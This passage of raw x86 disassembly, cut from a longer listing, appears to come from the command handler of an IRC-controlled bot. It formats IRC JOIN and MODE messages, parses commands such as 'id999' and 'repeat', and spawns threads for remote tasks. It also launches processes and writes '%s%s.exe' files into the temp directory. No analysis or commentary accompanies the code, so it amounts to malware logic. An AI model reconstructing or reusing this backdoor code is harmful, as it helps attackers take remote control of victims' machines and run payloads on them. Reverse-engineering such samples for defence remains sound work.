		jnz	loc_40D68B
		push	ebx
		push	[ebp+var_4]
		jmp	loc_411D8A
; ---------------------------------------------------------------------------


loc_4105C6:				; CODE XREF: sub_40CD3A+389Aj
		push	32h
		call	dword_421060	; Sleep


loc_4105CE:				; CODE XREF: sub_40CD3A+385Dj
		cmp	[ebp+var_1A40],	ebx
		jz	short loc_4105C6
		jmp	short loc_4105B4
; ---------------------------------------------------------------------------


loc_4105D8:				; CODE XREF: sub_40CD3A+2408j
					; sub_40CD3A+241Fj
		push	7Fh
		lea	eax, [ebp+var_158C]
		push	edi
		push	eax
		call	sub_416BE0
		push	[ebp+arg_18]
		call	sub_41587F
		push	3Fh
		mov	[ebp+var_143C],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_150C]
		push	eax
		call	sub_416BE0
		mov	esi, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_410626
		push	3Fh
		lea	eax, [ebp+var_14CC]
		push	esi
		push	eax
		call	sub_416BE0
		add	esp, 0Ch


loc_410626:				; CODE XREF: sub_40CD3A+38D8j
		lea	eax, [ebp+var_150C]
		mov	[ebp+var_1438],	1
		push	eax
		lea	eax, [ebp+var_158C]
		push	[ebp+var_143C]
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset unk_434AC8
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	17h
		push	eax
		call	sub_414DDA
		add	esp, 20h
		mov	[ebp+var_1434],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1590]
		push	ebx
		push	eax
		push	offset sub_40CA58
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_1434]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4416DC[ecx], eax
		jnz	short loc_4106B5
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434A78
		jmp	loc_40F517
; ---------------------------------------------------------------------------


loc_4106AD:				; CODE XREF: sub_40CD3A+3981j
		push	32h
		call	dword_421060	; Sleep


loc_4106B5:				; CODE XREF: sub_40CD3A+3960j
		cmp	[ebp+var_1430],	ebx
		jz	short loc_4106AD
		jmp	loc_40F526
; ---------------------------------------------------------------------------


loc_4106C2:				; CODE XREF: sub_40CD3A+23C8j
					; sub_40CD3A+23DFj
		push	[ebp+arg_18]
		call	sub_41587F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_6C0], eax
		jle	loc_4107B2
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_848]
		push	esi
		push	eax
		call	sub_41588A
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_6BC], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_84C], eax
		lea	eax, [ebp+var_748]
		push	esi
		push	eax
		call	sub_41588A
		mov	eax, [ebp+var_4]
		push	[ebp+arg_18]
		mov	[ebp+var_6B8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_6B4], eax
		push	edi
		push	offset unk_434A34
		lea	eax, [ebp+var_2D8]
		push	200h
		push	eax
		call	sub_41588A
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	0Dh
		push	eax
		call	sub_414DDA
		add	esp, 38h
		mov	[ebp+var_6C8], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_84C]
		push	ebx
		push	eax
		push	offset sub_401444
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_6C8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4416DC[ecx], eax
		jnz	short loc_4107A5
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4349E8
		jmp	loc_40EAFE
; ---------------------------------------------------------------------------


loc_41079D:				; CODE XREF: sub_40CD3A+3A71j
		push	32h
		call	dword_421060	; Sleep


loc_4107A5:				; CODE XREF: sub_40CD3A+3A50j
		cmp	[ebp+var_6B0], ebx
		jz	short loc_41079D
		jmp	loc_40F8F6
; ---------------------------------------------------------------------------


loc_4107B2:				; CODE XREF: sub_40CD3A+3999j
		push	offset unk_434998
		jmp	loc_40F8E8
; ---------------------------------------------------------------------------


loc_4107BC:				; CODE XREF: sub_40CD3A+239Aj
					; sub_40CD3A+23B1j
		push	[ebp+arg_18]
		push	edi
		call	dword_421134	; MoveFileA
		test	eax, eax
		jz	short loc_4107E9
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2D8]
		push	edi
		push	offset unk_43495C
		push	200h
		push	eax
		call	sub_41588A
		jmp	loc_411FAB
; ---------------------------------------------------------------------------


loc_4107E9:				; CODE XREF: sub_40CD3A+3A8Ej
		push	offset dword_43493C
		call	sub_409B27
		push	eax
		lea	eax, [ebp+var_2D8]
		push	200h
		push	eax
		call	sub_41588A
		add	esp, 10h
		jmp	loc_40F8F6
; ---------------------------------------------------------------------------


loc_41080D:				; CODE XREF: sub_40CD3A+236Cj
					; sub_40CD3A+2383j
		push	edi
		lea	eax, [ebp+var_13A0]
		push	104h
		push	eax
		call	sub_41588A
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_410847
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_4158E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_410847
		push	eax
		lea	eax, [ebp+var_129C]
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx


loc_410847:				; CODE XREF: sub_40CD3A+3AEBj
					; sub_40CD3A+3AFCj
		push	[ebp+var_8C]
		lea	eax, [ebp+var_1420]
		push	80h
		push	eax
		call	sub_41588A
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1424],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1194],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1190],	eax
		lea	eax, [ebp+var_129C]
		push	eax
		lea	eax, [ebp+var_13A0]
		push	eax
		push	offset unk_4348F8
		lea	eax, [ebp+var_2D8]
		push	200h
		push	eax
		call	sub_41588A
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	1Bh
		push	eax
		call	sub_414DDA
		add	esp, 2Ch
		mov	[ebp+var_1198],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1424]
		push	ebx
		push	eax
		push	offset sub_4086B2
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_1198]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4416DC[ecx], eax
		jnz	short loc_41090C
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4348A8


loc_4108F0:				; CODE XREF: sub_40CD3A+A55j
					; sub_40CD3A+A7Bj ...
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_415316
		add	esp, 0Ch
		jmp	loc_40D68B
; ---------------------------------------------------------------------------


loc_410904:				; CODE XREF: sub_40CD3A+3BD8j
		push	32h
		call	dword_421060	; Sleep


loc_41090C:				; CODE XREF: sub_40CD3A+3BA8j
		cmp	[ebp+var_118C],	ebx
		jz	short loc_410904
		jmp	loc_40D68B
; ---------------------------------------------------------------------------


loc_410919:				; CODE XREF: sub_40CD3A+233Ej
					; sub_40CD3A+2355j
		push	44h
		lea	eax, [ebp+var_31C]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_415390
		mov	[ebp+var_31C], esi
		xor	esi, esi
		inc	esi
		push	edi
		mov	[ebp+var_2F0], esi
		mov	word ptr [ebp+var_2EC],	bx
		call	sub_41587F
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_410956
		mov	word ptr [ebp+var_2EC],	5


loc_410956:				; CODE XREF: sub_40CD3A+3C11j
		cmp	[ebp+var_C], ebx
		jz	loc_40F526
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_4158E0
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_40F526
		lea	eax, [ebp+var_970]
		push	eax
		lea	eax, [ebp+var_31C]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	dword_4210EC	; CreateProcessA
		test	eax, eax
		lea	eax, [ebp+var_2D8]
		jnz	short loc_4109A7
		push	offset unk_434870
		jmp	loc_40EDC4
; ---------------------------------------------------------------------------


loc_4109A7:				; CODE XREF: sub_40CD3A+3C61j
		push	edi
		push	offset dword_434844
		jmp	loc_40F51D
; ---------------------------------------------------------------------------


loc_4109B2:				; CODE XREF: sub_40CD3A+2310j
					; sub_40CD3A+2327j
		push	[ebp+arg_18]
		push	offset aId999	; "id999"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410B25
		lea	eax, [ebp+var_A80]
		push	eax
		push	104h
		call	dword_4210F8	; GetTempPathA
		push	0FFh
		lea	eax, [ebp+var_D34]
		push	edi
		push	eax
		call	sub_416BE0
		lea	eax, [ebp+var_97C]
		push	eax
		call	sub_413FA0
		push	eax
		lea	eax, [ebp+var_A80]
		push	eax
		lea	eax, [ebp+var_C34]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_415316
		mov	eax, [ebp+esi+var_88]
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+var_B30], 1
		mov	[ebp+var_B2C], ebx
		jz	short loc_410A44
		push	10h
		push	ebx
		push	eax
		call	sub_416930
		add	esp, 0Ch
		mov	[ebp+var_B24], eax
		jmp	short loc_410A4A
; ---------------------------------------------------------------------------


loc_410A44:				; CODE XREF: sub_40CD3A+3CF4j
		mov	[ebp+var_B24], ebx


loc_410A4A:				; CODE XREF: sub_40CD3A+3D08j
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		jz	short loc_410A64
		push	esi
		call	sub_41587F
		pop	ecx
		mov	[ebp+var_B28], eax
		jmp	short loc_410A6A
; ---------------------------------------------------------------------------


loc_410A64:				; CODE XREF: sub_40CD3A+3D19j
		mov	[ebp+var_B28], ebx


loc_410A6A:				; CODE XREF: sub_40CD3A+3D28j
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_B20], eax
		lea	eax, [ebp+var_DB4]
		mov	[ebp+var_DB8], esi
		push	eax
		call	sub_416BE0
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_B18], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_B1C], eax
		lea	eax, [ebp+var_2D8]
		push	offset unk_4347F8
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_2D8]
		push	16h
		push	eax
		call	sub_414DDA
		add	esp, 24h
		mov	[ebp+var_B34], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_DB8]
		push	ebx
		push	eax
		push	offset sub_40BBF7
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_B34]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4416DC[ecx], eax
		jnz	short loc_410B18
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4347A8
		jmp	loc_40F517
; ---------------------------------------------------------------------------


loc_410B10:				; CODE XREF: sub_40CD3A+3DE4j
		push	32h
		call	dword_421060	; Sleep


loc_410B18:				; CODE XREF: sub_40CD3A+3DC3j
		cmp	[ebp+var_B14], ebx
		jz	short loc_410B10
		jmp	loc_40F526
; ---------------------------------------------------------------------------


loc_410B25:				; CODE XREF: sub_40CD3A+3C89j
		push	offset unk_434750
		jmp	loc_40EDBE
; ---------------------------------------------------------------------------


loc_410B2F:				; CODE XREF: sub_40CD3A+22E2j
					; sub_40CD3A+22F9j
		push	[ebp+var_90]
		push	offset dword_4365F0
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D18F
		cmp	[ebp+var_C], ebx
		jz	loc_40D18F
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_4158E0
		push	eax
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_43473C
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_2D8]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_416BE0
		push	edi
		call	sub_41587F
		add	esp, 30h
		test	eax, eax
		jle	short loc_410BB6
		push	edi
		call	sub_41587F
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	dword_421060	; Sleep


loc_410BB6:				; CODE XREF: sub_40CD3A+3E66j
		push	offset dword_434714
		call	sub_40B078
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_40D192
; ---------------------------------------------------------------------------


loc_410BCA:				; CODE XREF: sub_40CD3A+22B4j
					; sub_40CD3A+22CBj
		push	[ebp+var_90]
		push	offset dword_4365F0
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D18F
		cmp	[ebp+var_C], ebx
		jz	loc_412818
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_4158E0
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_415730
		add	esp, 10h
		test	eax, eax
		push	esi
		lea	eax, [ebp+var_2D8]
		jz	short loc_410C86
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_43473C
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_2D8]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_416BE0
		push	esi
		lea	eax, [ebp+var_2D8]
		push	offset dword_4346E0
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_40B078
		push	edi
		call	sub_41587F
		add	esp, 38h
		test	eax, eax
		jle	loc_412818
		push	edi
		call	sub_41587F
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_40D192
; ---------------------------------------------------------------------------


loc_410C86:				; CODE XREF: sub_40CD3A+3EDBj
		push	offset dword_434698
		push	eax
		call	sub_415316
		add	esp, 0Ch
		jmp	loc_411212
; ---------------------------------------------------------------------------


loc_410C99:				; CODE XREF: sub_40CD3A+2286j
					; sub_40CD3A+229Dj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2D8]
		push	offset dword_434690
		push	eax
		call	sub_415316
		push	edi
		call	sub_41587F
		add	esp, 10h


loc_410CB6:				; CODE XREF: sub_40CD3A+3FE3j
		test	eax, eax
		jle	loc_412818
		push	edi
		call	sub_41587F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_412818


loc_410CD0:				; CODE XREF: sub_40CD3A+48B9j
		lea	eax, [ebp+var_2D8]
		push	eax
		push	offset dword_425090
		push	edi
		call	sub_41587F
		imul	eax, 234h
		pop	ecx
		push	dword_4416D4[eax]
		call	sub_412B8B
		jmp	loc_412492
; ---------------------------------------------------------------------------


loc_410CF9:				; CODE XREF: sub_40CD3A+2258j
					; sub_40CD3A+226Fj
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2D8]
		push	[ebp+arg_18]
		push	offset dword_434684
		push	eax
		call	sub_415316
		push	edi
		call	sub_41587F
		add	esp, 14h
		jmp	short loc_410CB6
; ---------------------------------------------------------------------------


loc_410D1F:				; CODE XREF: sub_40CD3A+222Aj
					; sub_40CD3A+2241j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2D8]
		push	offset dword_43467C
		push	eax
		call	sub_415316
		push	edi
		call	sub_41587F
		add	esp, 10h
		test	eax, eax
		jle	loc_412818
		push	edi
		call	sub_41587F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_412818
		lea	eax, [ebp+var_2D8]
		push	eax
		push	offset dword_425090
		push	edi
		call	sub_41587F
		imul	eax, 234h
		pop	ecx
		push	dword_4416D4[eax]
		call	sub_412B8B
		push	[ebp+arg_18]
		push	edi
		push	offset dword_43464C


loc_410D83:				; CODE XREF: sub_40CD3A+40D0j
					; sub_40CD3A+413Bj ...
		call	sub_40B0EC
		jmp	loc_41216C
; ---------------------------------------------------------------------------


loc_410D8D:				; CODE XREF: sub_40CD3A+21FCj
					; sub_40CD3A+2213j
		cmp	[ebp+var_C], ebx
		jz	loc_412818
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_4158E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_410DBE
		push	esi
		lea	eax, [ebp+var_2D8]
		push	offset dword_434644
		push	eax
		call	sub_415316
		add	esp, 0Ch


loc_410DBE:				; CODE XREF: sub_40CD3A+406Dj
		push	edi
		call	sub_41587F
		test	eax, eax
		pop	ecx
		jle	loc_412818
		push	edi
		call	sub_41587F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_412818
		lea	eax, [ebp+var_2D8]
		push	eax
		push	offset dword_425090
		push	edi
		call	sub_41587F
		imul	eax, 234h
		pop	ecx
		push	dword_4416D4[eax]
		call	sub_412B8B
		push	esi
		push	edi
		push	offset dword_434614
		jmp	loc_410D83
; ---------------------------------------------------------------------------


loc_410E0F:				; CODE XREF: sub_40CD3A+21CEj
					; sub_40CD3A+21E5j
		cmp	[ebp+var_C], ebx
		jz	loc_412818
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_4158E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_412818
		push	edi
		call	sub_41587F
		test	eax, eax
		pop	ecx
		jle	loc_412818
		push	edi
		call	sub_41587F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_412818
		push	esi
		push	offset dword_425090
		push	edi
		call	sub_41587F
		imul	eax, 234h
		pop	ecx
		push	dword_4416D4[eax]
		call	sub_412B8B
		push	esi
		push	edi
		push	offset dword_4345E4
		jmp	loc_410D83
; ---------------------------------------------------------------------------


loc_410E7A:				; CODE XREF: sub_40CD3A+21A0j
					; sub_40CD3A+21B7j
		cmp	[ebp+var_C], ebx
		jz	loc_412818
		push	edi
		push	[ebp+var_C]
		call	sub_4158E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_412818
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		push	esi
		push	offset dword_4345A8
		jmp	loc_4117D1
; ---------------------------------------------------------------------------


loc_410EB1:				; CODE XREF: sub_40CD3A+2172j
					; sub_40CD3A+2189j
		push	[ebp+var_90]
		push	offset dword_4365F0
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D18F
		push	[ebp+arg_18]
		push	offset dword_43459C
		push	[ebp+arg_4]
		call	sub_412B8B
		push	edi
		call	sub_41587F
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	dword_421060	; Sleep
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		push	offset dword_434574
		call	sub_40B078
		jmp	loc_4117D6
; ---------------------------------------------------------------------------


loc_410F17:				; CODE XREF: sub_40CD3A+2144j
					; sub_40CD3A+215Bj
		cmp	[ebp+var_C], ebx
		jz	loc_412818
		push	edi
		call	sub_415B10
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_415B10
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_4158E0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_412818
		push	esi
		lea	eax, [ebp+var_2D8]
		push	offset dword_434E38
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_4]
		call	sub_412BD1
		push	esi
		push	edi
		push	offset dword_434544
		call	sub_40B0EC
		add	esp, 2Ch
		jmp	loc_412818
; ---------------------------------------------------------------------------


loc_410F85:				; CODE XREF: sub_40CD3A+2116j
					; sub_40CD3A+212Dj
		cmp	[ebp+var_C], ebx
		jz	loc_412818
		push	edi
		call	sub_415B10
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_415B10
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_4158E0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_412818
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_412BD1
		push	esi
		push	edi
		push	offset dword_434514
		call	sub_40B0EC


loc_410FD3:				; CODE XREF: sub_40CD3A+2E76j
		add	esp, 20h
		jmp	loc_412818
; ---------------------------------------------------------------------------


loc_410FDB:				; CODE XREF: sub_40CD3A+20E8j
					; sub_40CD3A+20FFj
		cmp	[ebp+var_C], ebx
		jz	loc_40D18F
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_4158E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40D18F
		push	eax
		push	edi
		call	sub_40AF80
		push	edi
		lea	eax, [ebp+var_2D8]
		push	offset dword_4344E4
		push	eax
		call	sub_415316
		add	esp, 14h
		jmp	loc_40F5D2
; ---------------------------------------------------------------------------


loc_41101A:				; CODE XREF: sub_40CD3A+20A8j
					; sub_40CD3A+20BFj
		push	edi
		push	[ebp+arg_1C]
		call	sub_4158E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412818
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4110B1
		push	esi
		push	[ebp+var_C]
		call	sub_4158E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		lea	eax, [ebp+var_2D8]
		jz	short loc_41109F
		push	esi
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_43473C
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_2D8]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_416BE0
		push	esi
		push	edi
		lea	eax, [ebp+var_2D8]
		push	offset dword_4344AC
		push	eax
		call	sub_415316
		add	esp, 34h
		inc	[ebp+arg_24]
		jmp	loc_411233
; ---------------------------------------------------------------------------


loc_41109F:				; CODE XREF: sub_40CD3A+4313j
		push	offset dword_434468
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx
		jmp	loc_411233
; ---------------------------------------------------------------------------


loc_4110B1:				; CODE XREF: sub_40CD3A+42FCj
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40AC8C
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		push	edi
		push	offset dword_43443C
		lea	eax, [ebp+var_2D8]
		push	200h
		push	eax
		call	sub_41588A
		add	esp, 24h
		jmp	loc_411233
; ---------------------------------------------------------------------------


loc_4110F8:				; CODE XREF: sub_40CD3A+1AFFj
					; sub_40CD3A+1B16j
		push	offset aR	; "r"
		push	edi
		call	sub_415A08
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_411172
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp+var_2D8]
		push	ebx
		push	eax
		call	sub_416FDC
		add	esp, 0Ch
		jmp	short loc_41114E
; ---------------------------------------------------------------------------


loc_411123:				; CODE XREF: sub_40CD3A+4416j
		push	1
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		push	esi
		lea	eax, [ebp+var_2D8]
		push	ebx
		push	eax
		call	sub_416FDC
		add	esp, 20h


loc_41114E:				; CODE XREF: sub_40CD3A+43E7j
		test	eax, eax
		jnz	short loc_411123
		push	esi
		call	sub_415960
		push	edi
		lea	eax, [ebp+var_2D8]
		push	offset dword_434404
		push	eax
		call	sub_415316
		add	esp, 10h
		jmp	loc_40F547
; ---------------------------------------------------------------------------


loc_411172:				; CODE XREF: sub_40CD3A+43CFj
		push	edi
		push	offset dword_4343D0
		jmp	loc_40F517
; ---------------------------------------------------------------------------


loc_41117D:				; CODE XREF: sub_40CD3A+1AD1j
					; sub_40CD3A+1AE8j
		cmp	[ebp+var_C], ebx
		jz	loc_412818
		push	edi
		push	[ebp+var_C]
		call	sub_4158E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_412818
		push	offset asc_426CF0 ; "\n"
		push	esi
		call	sub_415A30
		push	esi
		call	sub_40A506
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_2D8]
		jnz	short loc_4111C0
		push	offset dword_434390
		jmp	short loc_41120A
; ---------------------------------------------------------------------------


loc_4111C0:				; CODE XREF: sub_40CD3A+447Dj
		push	esi
		push	offset dword_434364
		push	eax
		call	sub_415316
		add	esp, 0Ch
		jmp	short loc_411233
; ---------------------------------------------------------------------------


loc_4111D1:				; CODE XREF: sub_40CD3A+1AA3j
					; sub_40CD3A+1ABAj
		cmp	[ebp+var_C], ebx
		jz	loc_412818
		push	edi
		push	[ebp+var_C]
		call	sub_4158E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_412818
		push	eax
		call	sub_409BEC
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_2D8]
		jnz	short loc_411205
		push	offset unk_434334
		jmp	short loc_41120A
; ---------------------------------------------------------------------------


loc_411205:				; CODE XREF: sub_40CD3A+44C2j
		push	offset dword_434304


loc_41120A:				; CODE XREF: sub_40CD3A+4484j
					; sub_40CD3A+44C9j
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx


loc_411212:				; CODE XREF: sub_40CD3A+3F5Aj
		cmp	[ebp+var_8], ebx
		jnz	short loc_411233
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 14h


loc_411233:				; CODE XREF: sub_40CD3A+4360j
					; sub_40CD3A+4372j ...
		lea	eax, [ebp+var_2D8]
		push	eax


loc_41123A:				; CODE XREF: sub_40CD3A+164Aj
		call	sub_40B078
		pop	ecx
		jmp	loc_412818
; ---------------------------------------------------------------------------


loc_411245:				; CODE XREF: sub_40CD3A+1A75j
					; sub_40CD3A+1A8Cj
		push	7Fh
		lea	eax, [ebp+var_1824]
		push	edi
		push	eax
		call	sub_416BE0
		mov	esi, [ebp+esi+var_8C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_411274
		push	7Fh
		lea	eax, [ebp+var_17A4]
		push	esi
		push	eax
		call	sub_416BE0
		add	esp, 0Ch


loc_411274:				; CODE XREF: sub_40CD3A+4526j
		push	7Fh
		lea	eax, [ebp+var_1724]
		push	[ebp+var_8C]
		push	eax
		call	sub_416BE0
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_1828],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_16A0],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_169C],	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_4342D8
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	14h
		push	eax
		call	sub_414DDA
		add	esp, 24h
		mov	[ebp+var_16A4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1828]
		push	ebx
		push	eax
		push	offset sub_40AD52
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_16A4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4416DC[ecx], eax
		jnz	short loc_411324
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434288


loc_411308:				; CODE XREF: sub_40CD3A+562Cj
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_415316
		add	esp, 0Ch
		jmp	loc_40F547
; ---------------------------------------------------------------------------


loc_41131C:				; CODE XREF: sub_40CD3A+45F0j
		push	32h
		call	dword_421060	; Sleep


loc_411324:				; CODE XREF: sub_40CD3A+45C0j
		cmp	[ebp+var_1698],	ebx
		jz	short loc_41131C
		jmp	loc_40F547
; ---------------------------------------------------------------------------


loc_411331:				; CODE XREF: sub_40CD3A+1A47j
					; sub_40CD3A+1A5Ej
		push	ebx
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	edi
		call	sub_4062F7
		push	edi
		push	offset dword_43425C
		jmp	loc_410D83
; ---------------------------------------------------------------------------


loc_41134C:				; CODE XREF: sub_40CD3A+1A19j
					; sub_40CD3A+1A30j
		push	14h
		lea	eax, [ebp+var_858]
		push	ebx
		push	eax
		call	sub_415390
		push	edi
		lea	eax, [ebp+var_844]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_415316
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_860], eax
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_740]
		push	80h
		push	eax
		call	sub_41588A
		mov	eax, [ebp+var_4]
		mov	[ebp+var_6B8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_6B4], eax
		lea	eax, [ebp+var_740]
		push	eax
		lea	eax, [ebp+var_844]
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_434224
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	12h
		push	eax
		call	sub_414DDA
		add	esp, 40h
		mov	[ebp+var_6BC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset sub_40B61A
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
